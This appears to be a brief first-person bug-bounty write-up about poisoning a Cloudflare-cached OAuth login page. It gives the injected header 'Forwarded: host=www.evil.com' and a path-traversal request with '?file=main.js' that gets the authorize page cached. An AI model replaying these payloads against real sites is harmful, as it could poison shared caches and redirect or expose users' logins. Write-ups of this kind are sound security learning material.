On the company’s Login page, a simple but very vulnerable page, I started by looking at the responses and noticed that the CDN (Cloudflare) was returning a cached page in the JS files and other paths. (Behavior expected)

I started by trying simple injections like SQL injections but nothing.

I did some fuzzing to see if I could find other endpoints but nothing.

I tried injecting the Host header but nothing, I tried the most common ones: X-Forwarded-For, X-Forwarded-Host until I tried a very ignored header but with great potential…

Forwarded: host=www.evil.com

But this only works with a few endpoints or static files.

Normal path: https://domain.com/authorize?scope=email+openid+offline_access&response_type=code&client_id=portal&state=4cTz0KNymQOl&redirect_uri=https%3A%2F%2Fdomain.com%2Frf%2Fapi%2Fv1%2Flogin_callback

I had an idea!! 💡

If it works in static files… I thought about changing the path by trying to manipulate the CDN so that it serves the login page as a cache.

I add ../../ and .js as query string

GET /authorize/web/cache/../../?scope=email+openid+offline_access&response_type=code&client_id=portal&state=4cTz0KNymQOl&redirect_uri=https%3A%2F%2Fdomain.com%2Frf%2Fapi%2Fv1%2Flogin_callback?file=main.js HTTP/2

BOOM!! I got it!!

Now when I go to the login page, the page has cached!!

Test everything. However insignificant it may seem, it may not be.

I know it was a simple and brief post, it’s the first time I’ve written posts. :)
